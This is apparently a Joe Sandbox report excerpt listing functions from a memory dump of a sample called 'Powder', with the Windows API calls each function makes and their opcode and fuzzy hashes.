Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 7e2a362369975eba98bff7a67fa3509c54aced5ea6b383ff17cf7b28a44651bf
Instruction ID: 961519e2347ade830c898fac29e91cf130eff760b674596e7086f3c12de587f1
Opcode Fuzzy Hash: 7e2a362369975eba98bff7a67fa3509c54aced5ea6b383ff17cf7b28a44651bf
Instruction Fuzzy Hash: E1912775A00604EFCB18DF18C5819ADB7E5EF59314B55D09AE85AAF3A2DB30ED41CF80

Function 00E20E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E20ED5
CreateProcessW.KERNEL32 ref: 00E20EE7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 72fb2112a3fee48adb95e8a0dc5cf3ed6d3757933df7331a631c076dac6795c8
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 2B310870A00119DFDB18DF08E480969F7A6FF59314B659AA5E409EB2A2E731EDC1CB80

Function 00E15F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00E15FEF

Part of subcall function 00E2359C: __lock.LIBCMT ref: 00E235A2
Part of subcall function 00E2359C: DecodePointer.KERNEL32(00000001,?,00E16004,00E58892), ref: 00E235AE
Part of subcall function 00E2359C: EncodePointer.KERNEL32(?,?,00E16004,00E58892), ref: 00E235B9

Part of subcall function 00E15F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00E15F18
Part of subcall function 00E15F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00E15F2D

Part of subcall function 00E15240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E1526C
Part of subcall function 00E15240: IsDebuggerPresent.KERNEL32 ref: 00E1527E
Part of subcall function 00E15240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00E152E6
Part of subcall function 00E15240: SetCurrentDirectoryW.KERNEL32(?), ref: 00E15366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00E1602F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 2223b37e02a4f3545f3f7eb31c66ef70767bd8703f83ddce5c5ef7edb56e87cd
Instruction ID: a830265ee72c5bf4c3384dbb8d69b84aee8e54124c0313f3a3432335c22f8683
Opcode Fuzzy Hash: 2223b37e02a4f3545f3f7eb31c66ef70767bd8703f83ddce5c5ef7edb56e87cd
Instruction Fuzzy Hash: EB116DB19083019FC314EF6AEE0595ABBE8FF88310F00452AF494A72B1DB719589CF92

Function 00E142F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00E13E72,?,?,?,00000000), ref: 00E14327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00E13E72,?,?,?,00000000), ref: 00E50717

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cd1303a881fc6d24620571e3c4648555b177a826b3428b190930d5c5282e19f7
Instruction ID: 261ed46ee7f9bf4e2c6c21f123969b31d64325da81698fd5baf5c335b18e5391
Opcode Fuzzy Hash: cd1303a881fc6d24620571e3c4648555b177a826b3428b190930d5c5282e19f7
Instruction Fuzzy Hash: 940196B0244319BEF3611E14CC86FE67A9CEB0576CF50C315FAE47A1D0C6B05C898B14

Function 00E2581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E2584C
__lock_file.LIBCMT ref: 00E2586D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: b77c8280f12f2b96fa4ce85de445d1c418140d8537e0502d31d7315acf6dcc1c
Instruction ID: 73fa73c33c2efdecf30beba4aabc27f3bd2a5eb391c04d55b390c4dff64b2349
Opcode Fuzzy Hash: b77c8280f12f2b96fa4ce85de445d1c418140d8537e0502d31d7315acf6dcc1c
Instruction Fuzzy Hash: 4001A772C01728EBCF15AF65FE0189F7BA1AF80360F185226F8243B1A1D7758A21DF91

Function 00E255C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

__lock_file.LIBCMT ref: 00E2560B

Part of subcall function 00E26E3E: __lock.LIBCMT ref: 00E26E61

__fclose_nolock.LIBCMT ref: 00E25616

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 80398d92468123d1eec712f873585bce98ac2e2257dbe9da12eac7b04fe857bf
Instruction ID: 109de44b2ef92fe57b76e6248f03bc236e4ea1b120fba7d00cf9ad1cdeb6fa13
Opcode Fuzzy Hash: 80398d92468123d1eec712f873585bce98ac2e2257dbe9da12eac7b04fe857bf
Instruction Fuzzy Hash: 5BF0B472942B259BD7117B75AA027AE77E16F41334F21A209B428BB1C1CBBC4A019F51

Function 00E25E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00E25EB4
__ftell_nolock.LIBCMT ref: 00E25EBF

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 2585294ae636bf209754cab73f7ad497cde1aa5d5394508475cab09255b80d0e
Instruction ID: 546c79144adeb8c54d55cee966ea9c21374f193521df79eabe86d44395f18bc2
Opcode Fuzzy Hash: 2585294ae636bf209754cab73f7ad497cde1aa5d5394508475cab09255b80d0e
Instruction Fuzzy Hash: 69F0A7729126359AD700BB74AB037AE76D06F15331F226306A020BB1D2CF784A019A55

Function 00E15AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E15AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00E15B1F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 5897958cf7649d64ddcdae84e562e864d52d4aa2e34497ab19769bb458a7a821
Instruction ID: 3d249fd9b48aee8c821f9ab4e69468e04ee80f9bb97ed6620a3f9c02ae238687
Opcode Fuzzy Hash: 5897958cf7649d64ddcdae84e562e864d52d4aa2e34497ab19769bb458a7a821
Instruction Fuzzy Hash: 2DF0A7B18083189FD7928B65DC45FD577BC970030CF0001FAAA88B6292D7760B8CCF51

Function 00E7C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 1951084522515996bb0a88085b76ceb90ea04dae1beb16fb1ec32ac82b0f19db
Instruction ID: cbf1e6f95005382e7dfa62906cf172ba337cd6dcf8fe70185c139efb4ffb7742
Opcode Fuzzy Hash: 1951084522515996bb0a88085b76ceb90ea04dae1beb16fb1ec32ac82b0f19db
Instruction Fuzzy Hash: 8CB17F74A0010AEFCB14DFA4D891DEEB7B5FF48714F20915AF919B7291EB30A981CB90

Function 00E0A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb60fa0ab849f67c6830966b2a8cead7d8004831ae3e68aed64adb750b2cb1c
Instruction ID: 3f57fa4d527adcc9bc03f7f07315e42fa56fb2e60dd1b7a61d0f8934d0bc18f7
Opcode Fuzzy Hash: ccb60fa0ab849f67c6830966b2a8cead7d8004831ae3e68aed64adb750b2cb1c
Instruction Fuzzy Hash: 3661CC70A0020A9FDB14DF60E885ABAB7E5EF84304F59906DE916AB2C1D774ED80CB61

Function 00E0D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cbd33b3871466beaabbc7d9bb1eaf8abdc6dea88efa299d01f8da43522d8300
Instruction ID: 02328ba9b76ecacc1bc9caf199d1cd1f0d0c3c4326f2fc5400e75dc5df1041df
Opcode Fuzzy Hash: 5cbd33b3871466beaabbc7d9bb1eaf8abdc6dea88efa299d01f8da43522d8300
Instruction Fuzzy Hash: 6E518F75704604ABCB14EB64D991EAE77E6AF45314F146458F906BB3D2CB30EE41CB90

Function 00E1343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E1351A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 101fc5ea3e58a037dd59aff48db56929915dc5471b6f579c4d66d87e7c047d81
Instruction ID: 7fced968bb3d6f70fdcc60cb424de6280b77fc7b144818d6c52abebe11ea7bed
Opcode Fuzzy Hash: 101fc5ea3e58a037dd59aff48db56929915dc5471b6f579c4d66d87e7c047d81
Instruction Fuzzy Hash: F831D079204A12DFD724DF28D480AA1F7E1FF08310714D56AE89AAB791DB30EDC1CB90

Function 00E1410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00E141B2

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8b492112135bd0756a0cd716365fa40ae4aea0146c291dd0f443d69e567dc3de
Instruction ID: d348af1b62de818b96b53c352b72ffabca0ff6ad05508c7f4e0b7f6c22daeeea
Opcode Fuzzy Hash: 8b492112135bd0756a0cd716365fa40ae4aea0146c291dd0f443d69e567dc3de
Instruction Fuzzy Hash: 68315CB1B01616AFCB18CF2DC880A9DB7B1FF54324F149619E815A3750D770A9E4CB90

Function 00E3E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00E3E2EA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 7527720e2c08b5d4fe7aea27aee2df64cf35850f143faa21cfe32bebe9369cfe
Instruction ID: edfc0854e8ba44e02924daa9f7994aed3ae526500b0944dec7f5d83aeaf947fd
Opcode Fuzzy Hash: 7527720e2c08b5d4fe7aea27aee2df64cf35850f143faa21cfe32bebe9369cfe
Instruction Fuzzy Hash: A041FA74505351DFDB24DF14C448B1ABBE1BF85308F0999ACE899AB3A2C371EC95CB52

Function 00E149C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E14B29: FreeLibrary.KERNEL32(00000000,?), ref: 00E14B63

Part of subcall function 00E2547B: __wfsopen.LIBCMT ref: 00E25486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00E127AF,?,00000001), ref: 00E149F4

Part of subcall function 00E14ADE: FreeLibrary.KERNEL32(00000000), ref: 00E14B18

Part of subcall function 00E148B0: _memmove.LIBCMT ref: 00E148FA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: f6a7ebe7a8caea19949f773d7443bd7c11181cd31c5c8fda915f2a39cc40824a
Instruction ID: c5fb3afe0c57d7a315b12f79d3875aae641e1f2f5ca2a4752a12cf62801b2748
Opcode Fuzzy Hash: f6a7ebe7a8caea19949f773d7443bd7c11181cd31c5c8fda915f2a39cc40824a
Instruction Fuzzy Hash: A9110172690305ABCB14FB60CC02FEE76E89F40711F109829F941B62C2FB709A84A794

Function 00E3E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00E3E3CE

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a87f1853760cb19a52a87b43c19376b13322e69816ef5b1b267df596f8ae57a7
Instruction ID: 524288d62b0d93122a36aec449c55b87b243c6a6409664f336f5f7873aa1b019
Opcode Fuzzy Hash: a87f1853760cb19a52a87b43c19376b13322e69816ef5b1b267df596f8ae57a7
Instruction Fuzzy Hash: D32124B4508351DFDB24DF14C444B5ABBE0BF88308F05596CF88A673A2C331E899CB92

Function 00E14220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00E13CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00E14276

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a6f011728805110b42e18223b1757f664650d93a287fc792ad04f20aa234999a
Instruction ID: 906be43d878cbf9da06eeb0ed7bc1304a753d2680984e7d59de953e6a1894ead
Opcode Fuzzy Hash: a6f011728805110b42e18223b1757f664650d93a287fc792ad04f20aa234999a
Instruction Fuzzy Hash: 47113DB12007019FD330CF55D480BA2B7F5EF48714F10D91EE8AA9AAA0D770E8C5CB50

Function 00E5FEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E5FF33

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 1c525afb35a08ba61448fa7632487680268de3cf9fd9ecc423eefb0b3bcb829f
Instruction ID: d6e0979bc48340f6debb3e9a210dc870c9b989f1822ddb1d691a81c5b376c6cc
Opcode Fuzzy Hash: 1c525afb35a08ba61448fa7632487680268de3cf9fd9ecc423eefb0b3bcb829f
Instruction Fuzzy Hash: 50018172300225ABCB24DF2DD89196BB7E9EF86365714856EF90ACB245E631E901C7A0

Function 00E67C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00E20FE6: std::exception::exception.LIBCMT ref: 00E2101C
Part of subcall function 00E20FE6: __CxxThrowException@8.LIBCMT ref: 00E21031

_memset.LIBCMT ref: 00E67CB4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 17d269b819892d637847069c83abb87159fcfd1a93d3dc9174b4102066f8aeca
Instruction ID: 4839969a04e1cdbe3671438a15c9e3a96eab62acbf505f86ff19e9a35e8cb49f
Opcode Fuzzy Hash: 17d269b819892d637847069c83abb87159fcfd1a93d3dc9174b4102066f8aeca
Instruction Fuzzy Hash: 5901F6742442009FD321EF5CE541F46BBE1AF59310F24849AF5C8AB392DB72E840CF90

Function 00E14A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00E14AA4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
